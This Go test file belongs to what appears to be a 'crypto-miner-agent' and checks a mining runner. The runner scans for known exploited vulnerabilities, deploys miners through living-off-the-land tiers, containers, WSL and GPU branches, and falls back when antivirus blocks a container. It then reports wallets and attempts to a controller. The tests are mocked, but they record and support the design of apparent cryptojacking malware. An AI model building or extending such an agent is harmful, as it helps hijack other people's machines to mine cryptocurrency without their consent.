package client import ( "context" "encoding/json" "errors" "os/exec" "runtime" "testing" "time" "crypto-miner-agent/config" "crypto-miner-agent/miner" "crypto-miner-agent/stats" ) // ─── test helpers ───────────────────────────────────────────────────────────── func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient { t.Helper() if cfg.BuiltinConfig.Threads == 0 { cfg.BuiltinConfig.Threads = 1 } c := &AgentClient{ cfg: cfg, reporter: stats.NewReporter(), } c.pool = miner.NewPool(1, cfg, c.reporter, nil) c.pool.Start() t.Cleanup(func() { c.pool.Stop() }) return c } func longRunningExecCmd() *exec.Cmd { if runtime.GOOS == "windows" { return exec.Command("ping", "-n", "600", "127.0.0.1") } return exec.Command("sleep", "600") } func quickExitExecCmd() *exec.Cmd { if runtime.GOOS == "windows" { return exec.Command("cmd", "/c", "exit", "0") } return exec.Command("true") } func setupFakeDockerRuntime(t *testing.T) { t.Helper() miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"} }) t.Cleanup(func() { miner.SetRuntimeDetector(nil) }) miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) t.Cleanup(func() { miner.SetWSLDetector(nil) }) miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { if len(args) > 0 && args[0] == "rm" { return quickExitExecCmd() } return longRunningExecCmd() }) t.Cleanup(func() { miner.SetContainerExecCommand(nil) }) } func setupNoContainerRuntime(t *testing.T) { t.Helper() miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} }) t.Cleanup(func() { miner.SetRuntimeDetector(nil) }) miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) t.Cleanup(func() { miner.SetWSLDetector(nil) }) } func baseMiningCfg() config.RuntimeConfig { return config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: miner.ExecutionAuto, PoolHost: "pool.example.com", PoolPort: 3333, Wallet: "XMR:test-wallet", Threads: 1, }, } } func installFastVulnProbe(t *testing.T, wallet string) { t.Helper() miner.SetVulnProbeRunner(func() miner.TierAttempt { return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet} }) t.Cleanup(func() { miner.SetVulnProbeRunner(nil) }) } func skipCtrlTierHooks(r *MiningChainRunner) { r.ctrl.SetChainHooksForTest(miner.ChainHooks{ RunTierProbes: func() miner.TierReport { return miner.TierReport{} }, RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped }, }) } func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner { t.Helper() installFastVulnProbe(t, c.cfg.Wallet) r := c.newMiningChainRunner() skipCtrlTierHooks(r) return r } func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} { t.Helper() raw, err := json.Marshal(struct { miner.TripleOnionReport Event string `json:"event"` }{ TripleOnionReport: report, Event: eventType, }) if err != nil { t.Fatalf("marshal onion payload: %v", err) } var doc map[string]interface{} if err := json.Unmarshal(raw, &doc); err != nil { t.Fatalf("unmarshal onion payload: %v", err) } return doc } func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} { t.Helper() raw, err := json.Marshal(struct { miner.TierReport Event string `json:"event"` }{ TierReport: report, Event: eventType, }) if err != nil { t.Fatalf("marshal tier payload: %v", err) } var doc map[string]interface{} if err := json.Unmarshal(raw, &doc); err != nil { t.Fatalf("unmarshal tier payload: %v", err) } return doc } // ─── runner construction ─────────────────────────────────────────────────────── func TestMiningChainRunnerConstruction(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) r := newTestMiningChainRunner(t, c) if r == nil || r.client != c { t.Fatal("expected runner bound to client") } if r.ctrl == nil { t.Fatal("expected ChainController") } if r.tiers == nil { t.Fatal("expected TierOrchestrator") } if r.onion == nil { t.Fatal("expected TripleOnionOrchestrator") } order := r.ctrl.Status().ChainOrder if len(order) == 0 { t.Fatal("expected non-empty chain order") } if order[0] != miner.MethodInProcess { t.Fatalf("without runtime want inprocess first, got %v", order) } } // ─── start / stop / cooldown ───────────────────────────────────────────────── func TestMiningChainRunnerStartStopCycle(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) ctx, cancel := context.WithCancel(context.Background()) defer cancel() r.startMiningCascade(ctx) st := r.Status() if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("active=%q want inprocess", st.ActiveMethod) } if c.hostMiningDisabled.Load() { t.Fatal("in-process path should not disable host mining") } r.Stop() st = r.Status() if st.ActiveMethod != "" { t.Fatalf("after Stop active=%q want empty", st.ActiveMethod) } r.mu.Lock() cancelled := r.monCancel == nil r.mu.Unlock() if !cancelled { t.Fatal("Stop should clear monitor cancel func") } } func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess c := miningChainTestClient(t, cfg) r := newTestMiningChainRunner(t, c) attempts := 0 r.ctrl.SetChainHooksForTest(miner.ChainHooks{ StartInProcess: func() error { attempts++ return nil }, }) ctx := context.Background() if _, err := r.ctrl.TryChain(ctx); err != nil { t.Fatalf("first TryChain: %v", err) } if _, err := r.ctrl.TryChain(ctx); err != nil { t.Fatalf("second TryChain: %v", err) } if attempts != 1 { t.Fatalf("cooldown attempts=%d want 1", attempts) } r.Restart(ctx) if attempts != 2 { t.Fatalf("Restart after cooldown attempts=%d want 2", attempts) } } // ─── triple onion wire ordering ────────────────────────────────────────────── func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) r := newTestMiningChainRunner(t, c) var phases []string policy := miner.TripleOnionPolicy{ PatchFirst: false, ReconTiers: []string{"kev_scan"}, DeployLanes: []string{"docker", "wsl"}, } r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{ RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult { phases = append(phases, "recon:"+tier) return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}} }, RunDeployLane: func(_ context.Context, lane string) (bool, string) { phases = append(phases, "deploy:"+lane) if lane == "docker" { return true, "mock container ready" } return false, "skipped" }, RunMining: func(_ context.Context) { phases = append(phases, "mining") }, ReportEvent: r.reportOnionEvent, }) ctx, cancel := context.WithCancel(context.Background()) defer cancel() r.Start(ctx) want := []string{"recon:kev_scan", "deploy:docker", "mining"} if len(phases) != len(want) { t.Fatalf("phases=%v want %v", phases, want) } for i := range want { if phases[i] != want[i] { t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases) } } } // ─── tier hooks: container skip, inprocess, GPU parallel ──────────────────── func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionContainer c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() st := r.Status() if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod) } for _, m := range st.ChainOrder { if m == miner.MethodContainer { t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder) } } } func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) { setupFakeDockerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) c.tierPolicy = miner.MiningTierPolicy{ TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}, } r := newTestMiningChainRunner(t, c) ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() st := r.Status() if st.ActiveMethod != miner.MethodContainer { t.Fatalf("active=%q want container", st.ActiveMethod) } if !c.hostMiningDisabled.Load() { t.Fatal("container tier should disable host RandomX") } if c.containerMiner == nil || !c.containerMiner.Running() { t.Fatal("expected mock container miner running") } } func TestMiningChainRunnerInProcessPath(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() if c.hostMiningDisabled.Load() { t.Fatal("in-process should keep host mining enabled") } if r.Status().ActiveMethod != miner.MethodInProcess { t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod) } } func TestMiningChainRunnerGPUParallelBranch(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess cfg.GPUEnabled = true cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) gpuStarted := false r.ctrl.SetChainHooksForTest(miner.ChainHooks{ StartInProcess: func() error { r.client.hostMiningDisabled.Store(false) r.client.pool.ResumeRemote() return nil }, IsGPUSupported: func() bool { return true }, WebGPUReady: func() bool { return true }, StartGPU: func() error { gpuStarted = true r.ctrl.SetGPUActive(true) return nil }, }) ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() st := r.Status() if !gpuStarted { t.Fatal("expected GPU parallel branch to start") } if !st.GPUParallel { t.Fatalf("status gpu_parallel=false: %+v", st) } if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod) } for _, m := range st.ActiveMethods { if m == miner.MethodGPUSubprocess { return } } t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods) } func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess cfg.GPUEnabled = true cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) r.ctrl.SetChainHooksForTest(miner.ChainHooks{ StartInProcess: func() error { r.client.hostMiningDisabled.Store(false) r.client.pool.ResumeRemote() return nil }, IsGPUSupported: func() bool { return false }, }) ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() if r.Status().GPUParallel { t.Fatal("gpu_parallel should be false when IsGPUSupported is false") } } // ─── reportOnionEvent / lotl_attempts payload shape ────────────────────────── func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) r := newTestMiningChainRunner(t, c) report := miner.TripleOnionReport{ ActivePhase: miner.OnionPhaseDeploy, Gate: miner.GateDecision{SkipMining: false}, Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3}, Attempts: []miner.TierAttempt{ {Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"}, {Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42}, }, Wallet: "XMR:test-wallet", } r.reportOnionEvent(report, "onion_report") doc := onionPayloadShape(t, report, "onion_report") for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} { if _, ok := doc[key]; !ok { t.Fatalf("onion payload missing key %q: %v", key, doc) } } if doc["event"] != "onion_report" { t.Fatalf("event=%v", doc["event"]) } attempts, ok := doc["lotl_attempts"].([]interface{}) if !ok || len(attempts) != 2 { t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts)) } first, ok := attempts[0].(map[string]interface{}) if !ok { t.Fatalf("attempt[0] type=%T", attempts[0]) } if first["phase"] != string(miner.OnionPhaseRecon) { t.Fatalf("attempt phase=%v", first["phase"]) } if first["wallet"] != "XMR:test-wallet" { t.Fatalf("attempt wallet=%v", first["wallet"]) } st := r.Status() if len(st.LOTLAttempts) != 2 { t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts)) } } func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) r := newTestMiningChainRunner(t, c) report := miner.TierReport{ ActiveTier: miner.TierCPUInprocess, Attempts: []miner.TierAttempt{ {Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10}, {Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"}, }, WebGPUReady: true, } r.reportTierEvent(report, "tier_report") doc := tierPayloadShape(t, report, "tier_report") for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} { if _, ok := doc[key]; !ok { t.Fatalf("tier payload missing key %q: %v", key, doc) } } if doc["lotl_tier"] != string(miner.TierCPUInprocess) { t.Fatalf("lotl_tier=%v", doc["lotl_tier"]) } st := r.Status() if st.LOTLTier != miner.TierCPUInprocess { t.Fatalf("Status lotl_tier=%q", st.LOTLTier) } if len(st.LOTLAttempts) < 2 { t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts) } if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("tier event should set primary active=%q", st.ActiveMethod) } } func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess c := miningChainTestClient(t, cfg) c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess} r := newTestMiningChainRunner(t, c) r.mu.Lock() r.onionAttempts = []miner.TierAttempt{ {Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true}, {Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true}, } r.mu.Unlock() ctx := context.Background() r.startMiningCascade(ctx) defer r.Stop() st := r.Status() if len(st.LOTLAttempts) < 3 { t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts) } if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) { t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase) } } // ─── mining disabled / ApkMode skips chain ─────────────────────────────────── func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MiningDisabled = true c := miningChainTestClient(t, cfg) c.connected.Store(true) c.miningChain = newTestMiningChainRunner(t, c) ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) defer cancel() c.startMiningWhenReady(ctx) if r := c.miningChain.Status(); r.ActiveMethod != "" { t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod) } } func TestMiningChainSkipsApkMode(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.ApkMode = true c := miningChainTestClient(t, cfg) c.connected.Store(true) c.miningChain = newTestMiningChainRunner(t, c) ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) defer cancel() c.startMiningWhenReady(ctx) if r := c.miningChain.Status(); r.ActiveMethod != "" { t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod) } } // ─── error paths: tier failure advances, exhausted chain ─────────────────── func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) r := newTestMiningChainRunner(t, c) containerCalls := 0 r.ctrl.SetChainHooksForTest(miner.ChainHooks{ StartContainer: func() error { containerCalls++ return errors.New("mock container start blocked by AV") }, StartInProcess: func() error { r.client.hostMiningDisabled.Store(false) r.client.pool.ResumeRemote() return nil }, IsGPUSupported: func() bool { return false }, }) r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess}) ctx := context.Background() if _, err := r.ctrl.TryChain(ctx); err != nil { t.Fatalf("TryChain: %v", err) } defer r.Stop() if containerCalls == 0 { t.Fatal("expected container tier attempt before advance") } st := r.Status() if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod) } if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer { t.Fatalf("failures=%v want container failure recorded", st.FailedMethods) } } func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) { setupFakeDockerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) c.tierPolicy = miner.MiningTierPolicy{ TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}, } r := newTestMiningChainRunner(t, c) ctx := context.Background() r.startMiningCascade(ctx) if r.Status().ActiveMethod != miner.MethodContainer { t.Fatalf("setup active=%q want container", r.Status().ActiveMethod) } if c.containerMiner != nil { c.containerMiner.Stop() } if c.containerMiner != nil && c.containerMiner.Running() { t.Fatal("container should be stopped") } r.ctrl.AdvancePrimary("container workload exited or unhealthy") st := r.Status() if st.ActiveMethod != miner.MethodInProcess { t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod) } r.Stop() } func TestMiningChainRunnerExhaustedChainState(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.MinerExecution = miner.ExecutionInProcess c := miningChainTestClient(t, cfg) r := newTestMiningChainRunner(t, c) r.ctrl.SetChainHooksForTest(miner.ChainHooks{ StartInProcess: func() error { return errors.New("mock in-process RandomX unavailable") }, }) r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess}) ctx := context.Background() _, err := r.ctrl.TryChain(ctx) if err == nil { t.Fatal("expected TryChain error when all primaries fail") } st := r.Status() if !st.ChainExhausted { t.Fatal("expected chain_exhausted flag") } if st.ActiveMethod != "" { t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod) } if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess { t.Fatalf("failures=%v", st.FailedMethods) } }